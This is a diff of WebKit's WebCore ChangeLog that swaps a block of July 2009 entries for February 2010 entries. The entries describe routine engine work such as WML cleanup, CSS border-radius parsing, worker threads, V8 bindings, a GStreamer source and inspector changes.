-        * wml/WMLEventHandlingElement.cpp:
-        (WebCore::WMLEventHandlingElement::registerDoElement):
-        (WebCore::WMLEventHandlingElement::deregisterDoElement):
-        * wml/WMLEventHandlingElement.h:
-        * wml/WMLFieldSetElement.cpp:
-        (WebCore::WMLFieldSetElement::removedFromDocument):
-        * wml/WMLGoElement.cpp:
-        (WebCore::WMLGoElement::registerPostfieldElement):
-        (WebCore::WMLGoElement::deregisterPostfieldElement):
-        * wml/WMLGoElement.h:
-        * wml/WMLIntrinsicEventHandler.cpp:
-        (WebCore::WMLIntrinsicEventHandler::deregisterIntrinsicEvent):
-        * wml/WMLIntrinsicEventHandler.h:
-        * wml/WMLOnEventElement.cpp:
-        (WebCore::eventHandlingParent):
-        (WebCore::WMLOnEventElement::registerTask):
-        (WebCore::WMLOnEventElement::deregisterTask):
-        * wml/WMLOnEventElement.h:
-        * wml/WMLPostfieldElement.cpp:
-        (WebCore::WMLPostfieldElement::removedFromDocument):
-        * wml/WMLPostfieldElement.h:
-        * wml/WMLSetvarElement.cpp:
-        (WebCore::WMLSetvarElement::removedFromDocument):
-        * wml/WMLSetvarElement.h:
-        * wml/WMLTaskElement.cpp:
-        (WebCore::WMLTaskElement::removedFromDocument):
-        (WebCore::WMLTaskElement::registerVariableSetter):
-        (WebCore::WMLTaskElement::deregisterVariableSetter):
-        (WebCore::WMLTaskElement::storeVariableState):
-        * wml/WMLTaskElement.h:
-        * wml/WMLTimerElement.cpp:
-        (WebCore::WMLTimerElement::removedFromDocument):
-        * wml/WMLTimerElement.h:
-
-2009-07-28  David Levin  <levin@chromium.org>
-
-        Suggested by Drew Wilson.
-
-        Speculative gtk build fix, follow up to:
-        https://bugs.webkit.org/show_bug.cgi?id=27697
+        Covered by existing tests.
 
-        * GNUmakefile.am:
+        * platform/text/haiku/StringHaiku.cpp: Fixed include order, Improved coversion from BString.
 
-2009-07-28  Dan Bernstein  <mitz@apple.com>
+2010-02-05  Steve Falkenburg  <sfalken@apple.com>
 
-        Reviewed by Simon Fraser.
-
-        [CSS3 Backgrounds and Borders] Drop the prefix from the border-radius
-        properties
-        https://bugs.webkit.org/show_bug.cgi?id=27578
+        Reviewed by Adam Roben.
 
-        [CSS3 Backgrounds and Borders] Handle the / and 4 values in
-        border-radius
-        https://bugs.webkit.org/show_bug.cgi?id=27584
+        Windows build fix.
 
-        Test: fast/borders/border-radius-parsing.html
+        * WebCore.vcproj/WebCore.make:
 
-        Dropped the -webkit- prefix from the individual corner border-radius
-        properties. Added border-radius with the / and 4-value syntax, and
-        maintained -webkit-border-radius with legacy 2-value syntax.
+2010-02-05  Csaba Osztrogonác  <ossy@webkit.org>
 
-        * css/CSSComputedStyleDeclaration.cpp:
-        (computedProperties): Removed Webkit prefix.
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue): Ditto.
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue): Removed Webkit prefix from the
-            single-corner properties. Call out to parseBorderRadius() to parse
-            border-radius and -webkit-border-radius. 
-        (WebCore::completeBorderRadii): Added this helper function that
-            completes the values for all four corners when fewer than four are
-            specified.
-        (WebCore::CSSParser::parseBorderRadius): Added.
-        (WebCore::cssPropertyID): Map -webkit-border-*-*-radius to the
-            unprefixed property.
-        * css/CSSParser.h:
-        * css/CSSPropertyLonghand.cpp:
-        (WebCore::initShorthandMap): Removed the Webkit prefix. Added an entry
-            for border-radius. Kept the entry for -webkit-border-radius.
-        * css/CSSPropertyNames.in: Removed the -webkit- prefix from the
-            single-corenr properties. Added border-radius. Kept
-            -webkit-border-radius because of its conflicting syntax.
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty): Removed the Webkit prefix.
-        * page/animation/AnimationBase.cpp:
-        (WebCore::ensurePropertyMap): Ditto.
+        Reviewed by Dirk Schulze.
+        Rubber-stamped by Kenneth Rohde Christiansen.
 
-2009-07-28  Drew Wilson  <atwilson@google.com>
+        [Qt] Modifying SVG path dumping to equal to other ports
+        https://bugs.webkit.org/show_bug.cgi?id=33784
 
-        Reviewed by David Levin.
+        * platform/graphics/qt/PathQt.cpp:
+        (WebCore::Path::debugString): Path dumping style is aproached to Mac.
 
-        Refactored dedicated-worker-specific code from WorkerThread into DedicatedWorkerThread class.
+2010-02-05  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
 
-        WorkerThread needs to be refactored to separate out dedicated-worker functionality.
-        https://bugs.webkit.org/show_bug.cgi?id=27697
+        Reviewed by Gustavo Noronha.
 
-        This is just a refactoring, so existing tests suffice.
+        Add a GStreamer HTTP/HTTPS source, using WebKit infrastructure
+        https://bugs.webkit.org/show_bug.cgi?id=34317
 
         * GNUmakefile.am:
-        Added DedicatedWorkerThread.h/.cpp
-        * WebCore.gypi:
-        Added DedicatedWorkerThread.h/.cpp
-        * WebCore.pro:
-        Added DedicatedWorkerThread.h/.cpp
-        * WebCore.vcproj/WebCore.vcproj:
-        Added DedicatedWorkerThread.h/.cpp
-        * WebCore.xcodeproj/project.pbxproj:
-        Added DedicatedWorkerThread.h/.cpp
-        * bindings/js/WorkerScriptController.cpp:
-        (WebCore::WorkerScriptController::evaluate):
-        Removed code to track pending activity - this is handled by DedicatedWorkerContext::importScripts() now.
-        * bindings/v8/WorkerScriptController.cpp:
-        (WebCore::WorkerScriptController::evaluate):
-        Removed code to track pending activity - this is handled by DedicatedWorkerContext::importScripts() now.
-        * workers/DedicatedWorkerContext.cpp:
-        (WebCore::DedicatedWorkerContext::DedicatedWorkerContext):
-        (WebCore::DedicatedWorkerContext::addMessage):
-        Forwards console messages to parent document.
-        (WebCore::DedicatedWorkerContext::importScripts):
-        Now sends the updated pending activity status after importing scripts.
-        (WebCore::DedicatedWorkerContext::thread):
-        Helper routine that casts WorkerThread to DedicatedWorkerThread.
-        * workers/DedicatedWorkerContext.h:
-        (WebCore::DedicatedWorkerContext::create):
-        * workers/DedicatedWorkerThread.cpp: Added.
-        (WebCore::DedicatedWorkerThread::create):
-        (WebCore::DedicatedWorkerThread::DedicatedWorkerThread):
-        (WebCore::DedicatedWorkerThread::~DedicatedWorkerThread):
-        (WebCore::DedicatedWorkerThread::createWorkerContext):
-        Implementation of the base class factory method to create the appropriate worker context.
-        (WebCore::DedicatedWorkerThread::runEventLoop):
-        Reports pending activity before running the event loop.
-        * workers/DedicatedWorkerThread.h: Added.
-        (WebCore::DedicatedWorkerThread::workerObjectProxy):
-        Moved from base class.
-        * workers/WorkerContext.cpp:
-        * workers/WorkerContext.h:
-        * workers/WorkerMessagingProxy.cpp:
-        (WebCore::WorkerMessagingProxy::startWorkerContext):
-        Now creates DedicatedWorkerThread.
-        (WebCore::WorkerMessagingProxy::workerThreadCreated):
-        Now is passed a DedicatedWorkerThread.
-        * workers/WorkerMessagingProxy.h:
-        * workers/WorkerThread.cpp:
-        (WebCore::WorkerThread::WorkerThread):
-        Moved workerObjectProxy param into derived class constructor.
-        (WebCore::WorkerThread::workerThread):
-        (WebCore::WorkerThread::runEventLoop):
-        Moved the event loop execution into a virtual function so DedicatedWorkerThread could report pending activity first.
-        * workers/WorkerThread.h:
-        (WebCore::WorkerThread::workerContext):
-
-2009-07-28  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Fix V8NPUtils' handling of UTF8 identifiers.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27782
-
-        * bindings/v8/V8NPUtils.cpp:
-        (getStringIdentifier): Treat the input string as UTF8 instead of ASCII,
-            since NPN_GetStringIdentifier() is expecting UTF8.
-
-2009-07-28  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Misc cleanup in DOM Storage.
-        https://bugs.webkit.org/show_bug.cgi?id=27517
-
-        The StorageAreaImpl changes are all for Chromium.  Because the DOM Storage implementation
-        runs in a different process from where the Frame object lives, Chromium passes in NULL
-        for the sourceFrame.  This affects events and handling privateBrowsing.  Chromium's
-        incognito mode does not use the private browsing setting, so that's not a concern.  As for
-        events, I've decided to simply disable them for now.
-
-        The StorageNamespaceImpl changes get rid of a stale comment (path is .copy'ed for thread-
-        safety) and to add an assert that .copy is only ever called on a SessionStorage namespace.
-
-        Also cleaned up tailing whitespace in several parts of StorageAreaImpl.cpp
-
-        * storage/StorageArea.cpp: Removed.  (It was empty anyway.)
-        * storage/StorageAreaImpl.cpp:
-        (WebCore::privateBrowsingEnabled): Factored out the check.
-        (WebCore::StorageAreaImpl::setItem): Make frame optional.
-        (WebCore::StorageAreaImpl::removeItem): ditto
-        (WebCore::StorageAreaImpl::clear): ditto
-        (WebCore::StorageAreaImpl::dispatchStorageEvent): Disable in Chromium for now.
-        * storage/StorageNamespaceImpl.cpp:
-        (WebCore::StorageNamespaceImpl::StorageNamespaceImpl): Remove stale comment.
-        (WebCore::StorageNamespaceImpl::copy): Add assert that it's SessionStorage.
-
-2009-07-28  Alpha Lam  <hclam@google.com>
-
-        Reviewed by David Levin.
-
-        [chromium] Default UI controls for <video> has rendering problems
-        https://bugs.webkit.org/show_bug.cgi?id=27669
-
-        Fixes the bug that <video> in MediaDocument is 1 pixel tall if
-        it is playing an audio file by changing the style to be 32px
-        tall.
-
-        Also fixes a problem of default styled audio tag that hides the
-        all the time digits by expanding the width to 300px.
-
-        Changed the size and position of the current time and remaining
-        display to give enough space for the hour digit to be shown.
-
-        There are no new tests provided because this is already covered
-        by existing tests.
-
-        * css/mediaControlsChromium.css:
-
-2009-07-28  Jakub Wieczorek  <faw217@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        Fix style in PluginPackage and PluginDatabase.
-        Part of https://bugs.webkit.org/show_bug.cgi?id=27651
-
-        * plugins/PluginDatabase.cpp:
-        (WebCore::PluginDatabase::refresh):
-        (WebCore::PluginDatabase::findPlugin):
-        * plugins/PluginDatabase.h:
-        * plugins/PluginPackage.cpp:
-        (WebCore::PluginPackage::~PluginPackage):
-        (WebCore::PluginPackage::freeLibrarySoon):
-        (WebCore::PluginPackage::freeLibraryTimerFired):
-        (WebCore::PluginPackage::unloadWithoutShutdown):
-        (WebCore::PluginPackage::initializeBrowserFuncs):
-        * plugins/PluginPackage.h:
-
-2009-07-28  Anantanarayanan Iyengar  <ananta@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27769
-        The V8 bindings function V8Proxy::createNewContext can be 
-        called during frame shutdown where the activeDocumentLoader
-        function in FrameLoader can return NULL. Added a check for the
-        same.
-
-        No new tests added as this is an edge case where the V8 
-        bindings code is reentered via NPAPI during shutdown. It is 
-        difficult to write a consistently reproducible test for this.
-
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::createNewContext):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateSourceChangedCallback):
+        (WebCore::doGstInit):
+        * platform/graphics/gtk/WebKitWebSourceGStreamer.cpp:
+        * platform/graphics/gtk/WebKitWebSourceGStreamer.h:
+        Add a GStreamer HTTP/HTTPS source, using the WebKit infrastructure.
+        This makes sure that referer, cookies, authentication information
+        and all kinds of other context are passed to GStreamer for websites
+        like Vimeo or YouTube.
 
-2009-07-28  Ivan Posva  <iposva@chromium.org>
+2010-02-05  Nate Chapin  <japhet@chromium.org>
 
         Reviewed by Dimitri Glazkov.
 
-        Associate the CanvasPixelData backing store with the
-        indexed properties of the wrapper object.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27773
-
-        No new tests: Relying on existing Canvas tests.
-
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate):
-        (WebCore::V8DOMWrapper::convertToV8Object):
-
-2009-07-28  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Gustavo Noronha.
-
-        Nuke all references to JSWorkerContextBase.lut.h, it was removed
-        back in April.
-
-        * GNUmakefile.am:
+        [V8] Clean up code for getting a v8::FunctionTemplate.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=34606
 
-2009-07-28  Robert Agoston  <Agoston.Robert@stud.u-szeged.hu>
+        * bindings/scripts/CodeGeneratorV8.pm: Making GetTemplate() public
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::configureTemplate):
+        * bindings/v8/V8DOMWrapper.cpp: Remove getTemplate(), use V8ClassIndex::getTemplate() instead.
+        (WebCore::V8DOMWrapper::getConstructor):
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        * bindings/v8/V8DOMWrapper.h:
+        (WebCore::V8DOMWrapper::lookupDOMWrapper):
+        * bindings/v8/V8Index.cpp: Remove duplicate caching of FunctionTemplates.
+        (WebCore::V8ClassIndex::getTemplate):
+        * bindings/v8/V8Index.h:
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::toV8):
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
+        (WebCore::v8HTMLAudioElementConstructorCallback):
+        (WebCore::V8HTMLAudioElementConstructor::GetTemplate):
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.h:
+        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
+        (WebCore::v8HTMLImageElementConstructorCallback):
+        (WebCore::V8HTMLImageElementConstructor::GetTemplate):
+        * bindings/v8/custom/V8HTMLImageElementConstructor.h:
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
+        (WebCore::v8HTMLOptionElementConstructorCallback):
+        (WebCore::V8HTMLOptionElementConstructor::GetTemplate):
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.h:
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        (WebCore::createInjectedScriptHostV8Wrapper):
 
-        Reviewed by Simon Hausmann.
+2010-02-05  Siddharth Mathur  <siddharth.mathur@nokia.com>
 
-        Fixed references to script generate-webkitversion.pl, and
-        removed duplicated generate-webkitversion.pl
+        Reviewed by Ariya Hidayat.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27158
+        [Qt] Build break in QtWebkit on Symbian
+        https://bugs.webkit.org/show_bug.cgi?id=34597
 
-        * WebCore.pro:
-        * platform/generate-webkitversion.pl: Removed.
+        * plugins/PluginView.h:
 
-2009-07-28  Pavel Feldman  <pfeldman@chromium.org>
+2010-02-05  Yury Semikhatsky  <yurys@chromium.org>
 
-        Reviewed by Dmitry Glazkov.
+        Reviewed by Pavel Feldman.
 
-        Web Inspector: encapsulate ScriptState into the ScriptObject, get rid of
-        InspectorJSONObject.
+        - Use SerializedScriptValue for passing data between injected script and
+        inspector frontend.
+        - Remove custom JSON implementation from the instpector utility script.
+        - Make sure that only objects created in the same ScriptState can be values
+        of ScriptObject/Array properties and arguments to ScriptFunctionCall. We don't
+        want ScriptObjects to leak between contexts.
+        - Use ScriptState of the 'this' object in ScriptFunctionCall instead of passing
+        it as additional parameter.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27766
+        https://bugs.webkit.org/show_bug.cgi?id=33592
 
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::JSInjectedScriptHost::reportDidDispatchOnInjectedScript):
         * bindings/js/ScriptArray.cpp:
-        (WebCore::ScriptArray::ScriptArray):
         (WebCore::ScriptArray::set):
-        (WebCore::ScriptArray::length):
-        (WebCore::ScriptArray::createNew):
-        * bindings/js/ScriptArray.h:
         * bindings/js/ScriptFunctionCall.cpp:
-        (WebCore::ScriptFunctionCall::construct):
+        (WebCore::ScriptFunctionCall::ScriptFunctionCall):
+        (WebCore::ScriptFunctionCall::appendArgument):
+        * bindings/js/ScriptFunctionCall.h:
         * bindings/js/ScriptObject.cpp:
-        (WebCore::ScriptObject::ScriptObject):
         (WebCore::ScriptObject::set):
-        (WebCore::ScriptObject::createNew):
-        (WebCore::ScriptGlobalObject::get):
-        * bindings/js/ScriptObject.h:
-        * bindings/js/ScriptObjectQuarantine.cpp:
-        (WebCore::getQuarantinedScriptObject):
+        * bindings/js/ScriptValue.cpp:
+        (WebCore::ScriptValue::serialize):
+        (WebCore::ScriptValue::deserialize):
+        * bindings/js/ScriptValue.h:
         * bindings/v8/ScriptArray.cpp:
-        (WebCore::ScriptArray::ScriptArray):
         (WebCore::ScriptArray::set):
-        (WebCore::ScriptArray::length):
-        (WebCore::ScriptArray::createNew):
-        * bindings/v8/ScriptArray.h:
         * bindings/v8/ScriptFunctionCall.cpp:
-        (WebCore::ScriptFunctionCall::construct):
+        (WebCore::ScriptFunctionCall::ScriptFunctionCall):
+        (WebCore::ScriptFunctionCall::appendArgument):
+        * bindings/v8/ScriptFunctionCall.h:
         * bindings/v8/ScriptObject.cpp:
-        (WebCore::ScriptObject::ScriptObject):
         (WebCore::ScriptObject::set):
-        (WebCore::ScriptObject::createNew):
-        (WebCore::ScriptGlobalObject::get):
-        * bindings/v8/ScriptObject.h:
-        (WebCore::ScriptObject::ScriptObject):
-        * bindings/v8/ScriptObjectQuarantine.cpp:
-        (WebCore::getQuarantinedScriptObject):
-        * inspector/ConsoleMessage.cpp:
-        (WebCore::ConsoleMessage::addToConsole):
-        * inspector/InspectorDOMStorageResource.cpp:
-        (WebCore::InspectorDOMStorageResource::bind):
-        * inspector/InspectorDatabaseResource.cpp:
-        (WebCore::InspectorDatabaseResource::bind):
+        * bindings/v8/ScriptState.h:
+        * bindings/v8/ScriptValue.cpp:
+        (WebCore::ScriptValue::serialize):
+        (WebCore::deserialize):
+        * bindings/v8/ScriptValue.h:
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        (WebCore::V8InjectedScriptHost::reportDidDispatchOnInjectedScriptCallback):
+        * inspector/InjectedScript.cpp:
+        (WebCore::InjectedScript::dispatch):
+        (WebCore::InjectedScript::callFrames):
+        (WebCore::InjectedScript::wrapForConsole):
+        (WebCore::InjectedScript::releaseWrapperObjectGroup):
+        * inspector/InjectedScript.h:
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::reportDidDispatchOnInjectedScript):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InjectedScriptHost.idl:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::dispatchOnInjectedScript):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::setFrontendProxyObject):
+        (WebCore::InspectorController::didPause):
+        (WebCore::InspectorController::didEvaluateForTestInFrontend):
         * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::InspectorFrontend):
         (WebCore::InspectorFrontend::newScriptArray):
         (WebCore::InspectorFrontend::newScriptObject):
-        (WebCore::InspectorFrontend::addMessageToConsole):
-        (WebCore::InspectorFrontend::addResource):
+        (WebCore::InspectorFrontend::populateFrontendSettings):
+        (WebCore::InspectorFrontend::updateConsoleMessageExpiredCount):
+        (WebCore::InspectorFrontend::addConsoleMessage):
+        (WebCore::InspectorFrontend::updateConsoleMessageRepeatCount):
         (WebCore::InspectorFrontend::updateResource):
+        (WebCore::InspectorFrontend::removeResource):
+        (WebCore::InspectorFrontend::didGetResourceContent):
+        (WebCore::InspectorFrontend::updateFocusedNode):
+        (WebCore::InspectorFrontend::setAttachedWindow):
+        (WebCore::InspectorFrontend::addRecordToTimeline):
+        (WebCore::InspectorFrontend::parsedScriptSource):
+        (WebCore::InspectorFrontend::failedToParseScriptSource):
+        (WebCore::InspectorFrontend::addProfileHeader):
+        (WebCore::InspectorFrontend::setRecordingProfile):
+        (WebCore::InspectorFrontend::didGetProfileHeaders):
+        (WebCore::InspectorFrontend::didGetProfile):
+        (WebCore::InspectorFrontend::pausedScript):
+        (WebCore::InspectorFrontend::setDocument):
+        (WebCore::InspectorFrontend::setDetachedRoot):
+        (WebCore::InspectorFrontend::setChildNodes):
+        (WebCore::InspectorFrontend::childNodeCountUpdated):
+        (WebCore::InspectorFrontend::childNodeInserted):
+        (WebCore::InspectorFrontend::childNodeRemoved):
+        (WebCore::InspectorFrontend::attributesUpdated):
+        (WebCore::InspectorFrontend::didRemoveNode):
+        (WebCore::InspectorFrontend::didGetChildNodes):
+        (WebCore::InspectorFrontend::didApplyDomChange):
+        (WebCore::InspectorFrontend::didGetEventListenersForNode):
+        (WebCore::InspectorFrontend::didGetCookies):
+        (WebCore::InspectorFrontend::didDispatchOnInjectedScript):
         (WebCore::InspectorFrontend::addDatabase):
+        (WebCore::InspectorFrontend::selectDatabase):
+        (WebCore::InspectorFrontend::didGetDatabaseTableNames):
         (WebCore::InspectorFrontend::addDOMStorage):
+        (WebCore::InspectorFrontend::selectDOMStorage):
+        (WebCore::InspectorFrontend::didGetDOMStorageEntries):
+        (WebCore::InspectorFrontend::didSetDOMStorageItem):
+        (WebCore::InspectorFrontend::didRemoveDOMStorageItem):
+        (WebCore::InspectorFrontend::updateDOMStorage):
+        (WebCore::InspectorFrontend::addNodesToSearchResult):
+        (WebCore::InspectorFrontend::contextMenuItemSelected):
+        (WebCore::InspectorFrontend::evaluateForTestInFrontend):
+        (WebCore::InspectorFrontend::callSimpleFunction):
         * inspector/InspectorFrontend.h:
-        * inspector/InspectorJSONObject.cpp: Removed.
-        * inspector/InspectorJSONObject.h: Removed.
-        * inspector/InspectorResource.cpp:
-        (WebCore::populateHeadersObject):
-        (WebCore::InspectorResource::createScriptObject):
-        (WebCore::InspectorResource::updateScriptObject):
-
-2009-07-28  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        [WML] Variable substitution recursion seems to have bugs
-        https://bugs.webkit.org/show_bug.cgi?id=27726
-
-        Allow <setvar> elements to depend on the value specified by preceeding <setvar> elements.
-        Required by the specification - assure it only works in linear order. A setvar element may
-        not depend on the variable state of a following setvar element, only the previous ones.
-
-        Extend wml/variable-reference-valid.html layout test to cover these cases.
-
-        * wml/WMLTaskElement.cpp:
-        (WebCore::WMLTaskElement::storeVariableState):
-
-2009-07-28  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        [WML] Page title doesn't update after variable substitution, if it contained variables
-        https://bugs.webkit.org/show_bug.cgi?id=27725
-
-        Fix bug in containsVariableReference() function, we we're decreasing the nameEndPosition
-        too much, leading to a bug with 1-char variable names, which were not detected properly.
-
-        Extend wml/variable-reference-valid.html layout test to cover 1-char variable names.
-        Also fixes manual-tests/wml/task-refresh-in-anchor.wml, which happened to use 1-char variable names.
-
-        * wml/WMLVariables.cpp:
-        (WebCore::containsVariableReference):
-
-2009-07-28  Robert Hogan  <robert@roberthogan.net>
-
-        Reviewed by Simon Hausmann.
-
-        Add WebKit version API to Qt.
-
-        Get the current version of WebKit from WebKit/mac/Configurations/Version.xcconfig
-        at compile time and make it available to webkit ports through WebKitVersion.h.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27158
-
-        * WebCore.pro: Call generate-webkitversion.pl
-
-2009-07-28  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
-
-        Unreviewed make dist build fix.
-
-        * GNUmakefile.am:
-
-2009-07-28  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by Adam Treat.
-
-        Replace hardcoded separator text with proper separator.
-        Also adjusts include order as per style guidelines.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27763
-
-        * platform/qt/PopupMenuQt.cpp:
-        (WebCore::PopupMenu::populate):
-
-2009-07-28  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Steve Falkenburg.
-
-        Add output directory for VS pre-build steps to enable out-of-tree builds
-
-        https://bugs.webkit.org/show_bug.cgi?id=27700
-
-        The tmp.obj file is now placed in the intermediate build directory.
-
-        * WebCore.vcproj/WebCoreCommon.vsprops:
-
-2009-07-28  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Add inspected node using public console API.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27758
-
-        * inspector/front-end/Console.js:
-        (WebInspector.Console.prototype.addInspectedNode):
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
-        (WebInspector.ElementsPanel):
-
-2009-07-28  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        [WML] <do> elements with a <noop> task shouldn't be exposed to the user
-        https://bugs.webkit.org/show_bug.cgi?id=27724
-
-        Fix WMLNoopElement to disable it's parent WMLDoElement, as required by the spec.
-        Moved manual-tests/wml/task-noop-in-do.wml to LayoutTests/fast/wml/task-noop-in-do.wml.
-
-        * manual-tests/wml/task-noop-in-do.wml: Removed.
-        * wml/WMLNoopElement.cpp:
-        (WebCore::WMLNoopElement::insertedIntoDocument):
-
-2009-07-28  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Disable some compiler warnings for the win build
-        https://bugs.webkit.org/show_bug.cgi?id=27709
-
-        * WebCore.pro: Move the msvc options to WebKit.pri
-
-2009-07-28  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
-
-        Reviewed by Tor Arne Vestbø
-
-        Make equality checks for logging channel names ignore casing.
-
-        * platform/Logging.cpp:
-        (WebCore::getChannelFromName):
-
-2009-07-28  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        Reviewed by Xan Lopez.
-
-        [Gtk] Refactor ResourceHandleSoup - make start* functions static
-        https://bugs.webkit.org/show_bug.cgi?id=27687
-
-        * platform/network/ResourceHandle.h:
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::startData):
-        (WebCore::startHttp):
-        (WebCore::):
-
-2009-07-28  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Gustavo Noronha.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25415
-        [GTK][ATK] Please implement support for get_text_at_offset
-
-        Do not cache the pango layout in the object, since the layout of
-        the page can change between calls.
-
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-
-2009-07-23  Anton Muhin  <antonm@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Simplify management of Nodes in weak handles callbacks.
-        https://bugs.webkit.org/show_bug.cgi?id=27628
-
-        * bindings/v8/V8DOMMap.cpp:
-        (WebCore::weakNodeCallback):
-
-2009-07-28  Brian Weinstein  <bweinstein@apple.com>
-
-        Rubber-stamped by David Levin.
-
-        Fix error handling of GetIconInfo (returns a bool).
-
-        * platform/win/DragImageWin.cpp:
-        (WebCore::createDragImageIconForCachedImage):
-
-2009-07-27  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Jon Honeycutt.
-
-        Fix of <rdar://5015949> Drag Icon is not produced for over sized images.
-        
-        Implemented the createDragImageIconForCachedImage function by using the Windows 
-        SHFILEINFO structure.
-
-        * platform/win/DragImageWin.cpp:
-        (WebCore::createDragImageIconForCachedImage):
-
-2009-07-25  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by David Levin.
-
-        [V8] Split up V8DOMMap.cpp by class
-        https://bugs.webkit.org/show_bug.cgi?id=27685
-
-        No behavior change.  Just copy-and-paste.
-
-        * WebCore.gypi:
-        * bindings/v8/ChildThreadDOMData.cpp: Added.
-        (WebCore::ChildThreadDOMData::ChildThreadDOMData):
-        (WebCore::ChildThreadDOMData::getStore):
-        * bindings/v8/ChildThreadDOMData.h: Added.
-        * bindings/v8/DOMData.cpp: Added.
-        (WebCore::DOMData::DOMData):
-        (WebCore::DOMData::getCurrent):
-        (WebCore::DOMData::getCurrentMainThread):
-        (WebCore::DOMData::handleWeakObject):
-        (WebCore::DOMData::ensureDeref):
-        (WebCore::DOMData::derefObject):
-        (WebCore::DOMData::derefDelayedObjects):
-        (WebCore::DOMData::derefDelayedObjectsInCurrentThread):
-        (WebCore::DOMData::removeObjectsFromWrapperMap):
-        * bindings/v8/DOMData.h: Added.
-        (WebCore::):
-        * bindings/v8/DOMDataStore.cpp: Added.
-        (WebCore::DOMDataStore::DOMDataStore):
-        (WebCore::DOMDataStore::~DOMDataStore):
-        (WebCore::DOMDataStore::allStores):
-        (WebCore::DOMDataStore::allStoresMutex):
-        (WebCore::DOMDataStore::getDOMWrapperMap):
-        (WebCore::forget):
-        (WebCore::DOMDataStore::weakDOMObjectCallback):
-        (WebCore::DOMDataStore::weakActiveDOMObjectCallback):
-        (WebCore::DOMDataStore::weakNodeCallback):
-        (WebCore::DOMDataStore::weakSVGElementInstanceCallback):
-        (WebCore::DOMDataStore::weakSVGObjectWithContextCallback):
-        * bindings/v8/DOMDataStore.h: Added.
-        (WebCore::DOMDataStore::):
-        (WebCore::DOMDataStore::InternalDOMWrapperMap::InternalDOMWrapperMap):
-        (WebCore::DOMDataStore::InternalDOMWrapperMap::forgetOnly):
-        (WebCore::DOMDataStore::domData):
-        (WebCore::DOMDataStore::domNodeMap):
-        (WebCore::DOMDataStore::domObjectMap):
-        (WebCore::DOMDataStore::activeDomObjectMap):
-        (WebCore::DOMDataStore::domSvgElementInstanceMap):
-        (WebCore::DOMDataStore::domSvgObjectWithContextMap):
-        * bindings/v8/MainThreadDOMData.cpp: Added.
-        (WebCore::MainThreadDOMData::MainThreadDOMData):
-        (WebCore::MainThreadDOMData::getStore):
-        * bindings/v8/MainThreadDOMData.h: Added.
-        * bindings/v8/ScopedDOMDataStore.cpp: Added.
-        (WebCore::ScopedDOMDataStore::ScopedDOMDataStore):
-        (WebCore::ScopedDOMDataStore::~ScopedDOMDataStore):
-        * bindings/v8/ScopedDOMDataStore.h: Added.
-        * bindings/v8/StaticDOMDataStore.cpp: Added.
